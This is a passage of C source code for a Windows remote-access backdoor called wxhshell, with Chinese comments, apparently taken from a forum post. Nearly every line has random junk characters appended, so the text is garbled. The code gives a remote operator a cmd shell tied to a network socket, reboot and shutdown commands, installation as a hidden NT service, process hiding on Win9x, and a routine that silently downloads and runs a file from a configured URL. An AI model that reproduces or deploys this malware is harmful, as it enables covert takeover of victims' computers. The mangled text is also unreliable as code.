  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C0L(ti;  
  } P2 +^7x?  
  else { 'zuA3$SR  
dV"Kx  
    switch(cmd[0]) { &I/C^/F&  
  L(BL_  
  // 帮助 AUR{O  
  case '?': { 5ma~Pjt8}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hy@e(k|S]U  
    break; g+=f=5I3  
  } @T{I;8S  
  // 安装 2X=*;r"{J  
  case 'i': { i\\,Z L  
    if(Install()) MUp{2_RA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iRL|u~bj  
    else -yY]0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?gS~9jgcd  
    break; u~27\oj,  
    } ~<=wTns!  
  // 卸载 Mey=%Fv  
  case 'r': { ~93+Oxg  
    if(Uninstall()) 6Ou[t6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M_\)<a(8  
    else {-s7_\|p(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MG$Df$R  
    break; #:nds,   
    } !^w}Sp  
  // 显示 wxhshell 所在路径 e'dZ2;X$zo  
  case 'p': { /x&52~X5-  
    char svExeFile[MAX_PATH]; wdEQB-dA  
    strcpy(svExeFile,"\n\r"); /^Zgv-n  
      strcat(svExeFile,ExeFile); 0+_:^z  
        send(wsh,svExeFile,strlen(svExeFile),0); yzz(<s:o/  
    break; )H<F([Jri  
    } vrXNa8,L  
  // 重启 d~O)mJ J  
  case 'b': { m[&pR2T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AO0aOX8_+D  
    if(Boot(REBOOT)) tR-rW)0K3Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =bb)B(  
    else { 4+a u6ABy  
    closesocket(wsh); /Y*6mQ:  
    ExitThread(0); U\;mM\2rE  
    } Vxim$'x!  
    break; M"z3F!-j  
    } NSQf@o  
  // 关机 9'h4QF+Y  
  case 'd': { U9yR~pw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x5!lnN,#  
    if(Boot(SHUTDOWN)) ~H`(zzk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P!lTK   
    else { hgF4PdO1e  
    closesocket(wsh); Rm=[Sj84  
    ExitThread(0); )cxML<j'  
    } BxGz4  
    break; c`!8!R  
    } `xu/|})KI  
  // 获取shell 08;t%[R  
  case 's': { i^6g1"h  
    CmdShell(wsh); 3AarRQWsn  
    closesocket(wsh); 1EA}[x  
    ExitThread(0); m-}6DN  
    break; ZbLN:g}  
  } c"CF&vTp  
  // 退出 $4]"g}_  
  case 'x': { =VDtZSa!$^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w_^g-P[o-  
    CloseIt(wsh); Ck^jgB.7  
    break; e{`DvfY21  
    } |PW.CV0,  
  // 离开 <Z9N}wY,8  
  case 'q': { F7qQrE5bl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sBWLgJz?C  
    closesocket(wsh); o`ijdg!5qG  
    WSACleanup(); "(SZ;y  
    exit(1); p+|(lrYC  
    break; ;PG,0R`Z;  
        } xouy|Nn'  
  } <LOas$  
  }  9/R<,  
}TAHVcX*p  
  // 提示信息 naWW i]9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zrCQEQq  
} 9_\1cSk'  
  } >&2n\HR\  
%^66(n)  
  return; 9Y-6e0B:  
} RF.8zea{O`  
"ku ?A^f  
// shell模块句柄 ys$X!Ep  
int CmdShell(SOCKET sock) <bxp/#6D  
{ +UC-  
STARTUPINFO si; *[[TDduh&  
ZeroMemory(&si,sizeof(si)); <)$b=z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7"Iagrgw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U4$CkTe2Y  
PROCESS_INFORMATION ProcessInfo; 0`l(c  
char cmdline[]="cmd"; ' CO3b,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k=qb YGK  
  return 0; %.;`0}b  
} yW)X asn  
h"5!puN+  
// 自身启动模式 b py576GwA  
int StartFromService(void) )nJh) {4\  
{ (xhV>hsA  
typedef struct dGBVkb4]T  
{ >J No2  
  DWORD ExitStatus; Af_yb`W?  
  DWORD PebBaseAddress; q(cSHHv+  
  DWORD AffinityMask; W-ll2b  
  DWORD BasePriority; #-Nc1+gu   
  ULONG UniqueProcessId; dJwE/s  
  ULONG InheritedFromUniqueProcessId; ![#>{Q4i  
}   PROCESS_BASIC_INFORMATION; Rt10:9Kz$  
3"J85V%h]n  
PROCNTQSIP NtQueryInformationProcess; l\{{iAC]I  
u4p){|x7s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v22ZwP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iH""dtO  
BSib/)p   
  HANDLE             hProcess; 0"to]=  
  PROCESS_BASIC_INFORMATION pbi; nI6[y)j  
#'jd.'>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R-2V C  
  if(NULL == hInst ) return 0; > : ;*3  
i VIpe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); v&i,}p^M5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T1Y_Jf*KJ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l&1R`gcW  
\a}W{e=FNT  
  if (!NtQueryInformationProcess) return 0; 51lN,VVD  
P1f@?R&t+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); z4 yV1  
  if(!hProcess) return 0; c_YP#U  
4?)-;Hx_X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t&99ZdE  
M8wEy_XB1  
  CloseHandle(hProcess); gr y]!4Hy  
;3H#8x-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p&~= rp`E  
if(hProcess==NULL) return 0; #XJ`/\E]  
/}=Bi-  
HMODULE hMod; hB)TH'R{:  
char procName[255];  M} {'kK  
unsigned long cbNeeded; 3\jcq@N  
+P. }<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ayvHS&h  
8 k%!1dyMB  
  CloseHandle(hProcess); g`BtG  
&=d0'3k>  
if(strstr(procName,"services")) return 1; // 以服务启动 1SYBq,[])  
9 L^:N)-  
  return 0; // 注册表启动 +`)4jx)r/  
} )mVpJYt;  
eQvdi|6  
// 主模块 $yA2c^QS  
int StartWxhshell(LPSTR lpCmdLine) !?~>f>js_l  
{ %[9d1F 3  
  SOCKET wsl; ~HH6=qjU)  
BOOL val=TRUE; ;5fq[v^P:  
  int port=0; 4dwG6-  
  struct sockaddr_in door; vtS [Tkk|A  
Os# V=P  
  if(wscfg.ws_autoins) Install(); ^cy.iolt  
'U" ub2j  
port=atoi(lpCmdLine); M >BcYbXf  
T+y3Ph--^  
if(port<=0) port=wscfg.ws_port; aA5rvP +  
09psqXU@I  
  WSADATA data; @a{1vT9b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N$i|[>`j  
`>mT/Rmb@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LYv$U;*+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hD5G\TR.  
  door.sin_family = AF_INET; mSu1/?PS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *&VqAc%qD  
  door.sin_port = htons(port); iEJY[P1  
(\=iKE4#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OYsG#  
closesocket(wsl); v)a$;P%  
return 1; 2 Xt$KF,?  
} n 7Bua  
2}^fhMS  
  if(listen(wsl,2) == INVALID_SOCKET) { yA/b7x-c  
closesocket(wsl); 6fOh *  
return 1; H[a1n' "<:  
} DfNX@gbo  
  Wxhshell(wsl); "7*cF>FE8  
  WSACleanup(); Mk-Rl  
# ~SQujgB  
return 0; vQ/&iAyut  
E4nj*Lp~+  
} %j3 *j  
8=%%C:  
// 以NT服务方式启动 @+3@Z?!SZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i"{ \ >  
{ x3JX}yCX  
DWORD   status = 0; X~ AE??  
  DWORD   specificError = 0xfffffff; '<35XjW  
1~HR;cTv=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }LaRa.3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J,bE[52  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Gg3cY{7  
  serviceStatus.dwWin32ExitCode     = 0; ~HH#aXh*  
  serviceStatus.dwServiceSpecificExitCode = 0; n2JwZ?  
  serviceStatus.dwCheckPoint       = 0; uD2v6x236  
  serviceStatus.dwWaitHint       = 0; n' \poB?  
DhL]\ 4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '01ifA^  
  if (hServiceStatusHandle==0) return; ,KMt9 <  
%S<0l@=5`l  
status = GetLastError(); MU; L7^  
  if (status!=NO_ERROR) JDyP..Dt  
{ A{ :PpYs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )9L:^i6  
    serviceStatus.dwCheckPoint       = 0; BihXYux*  
    serviceStatus.dwWaitHint       = 0; ~9OART='  
    serviceStatus.dwWin32ExitCode     = status; $ 'B0ZL  
    serviceStatus.dwServiceSpecificExitCode = specificError; *[(}rpp M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MMpGI^x!-X  
    return; XkWO-L  
  } 0t-!6  
@@,l0/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7>a-`"`O  
  serviceStatus.dwCheckPoint       = 0; Ri}n0}I  
  serviceStatus.dwWaitHint       = 0; Ig hd,G-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `(r [BV|h}  
} gsqpQq7  
yJ(p-3O5  
// 处理NT服务事件,比如:启动、停止 c teUKK.|)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uHv9D%R  
{ Hvn{aLa.  
switch(fdwControl) ^b{w\HZ  
{ Qg\OJmv  
case SERVICE_CONTROL_STOP: iY /N%T;  
  serviceStatus.dwWin32ExitCode = 0; tntQO!pM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q&h&GZ  
  serviceStatus.dwCheckPoint   = 0; Qz+hS\yx  
  serviceStatus.dwWaitHint     = 0; pV>M, f  
  { 5AWIk,[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0$-N  
  } cMCGaaLU  
  return; poqcoSL"}  
case SERVICE_CONTROL_PAUSE: &ggS!y'n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *LTFDC  
  break; &uh|! lD  
case SERVICE_CONTROL_CONTINUE: p*T`fOL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <5s51b <  
  break; u;fD4CA  
case SERVICE_CONTROL_INTERROGATE: *Txt`z[|  
  break; 9Ytf7NpR  
}; 8\+Q*7~@i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >AT{\W!N  
} IpX>G]"-C  
^6*2a(S&  
// 标准应用程序主函数 nQ/R,+6h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4,o|6H  
{ -.8 nEO3  
L#Mul&r3x0  
// 获取操作系统版本 YxEc(a"  
OsIsNt=GetOsVer(); K5O#BBX=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U2=PmS P  
t;7 tuq   
  // 从命令行安装 v-;j44sB  
  if(strpbrk(lpCmdLine,"iI")) Install(); p#VA-RSUQ|  
vI<n~FHt  
  // 下载执行文件 >a@c5  
if(wscfg.ws_downexe) { 9oly=&lJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <q V<dK&W  
  WinExec(wscfg.ws_filenam,SW_HIDE); 28KS*5S  
}  a=<l}`*  
f?_UT}n  
if(!OsIsNt) { [ 7W@/qqv  
// 如果时win9x,隐藏进程并且设置为注册表启动 gK{-eS  
HideProc(); ^f:oKKaAW;  
StartWxhshell(lpCmdLine); qSRE)C=)  
} ,)u\G(N  
else 7V6gT}R  
  if(StartFromService()) RT2%)5s  
  // 以服务方式启动 /bE=]nM  
  StartServiceCtrlDispatcher(DispatchTable); >tfy\PY:  
else %!5[3b'h  
  // 普通方式启动 i1qhe?5  
  StartWxhshell(lpCmdLine); (mHCK5  
481SDG[b  
return 0; |IbCN  
}
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只看该作者 1 发表于: 2006-10-10
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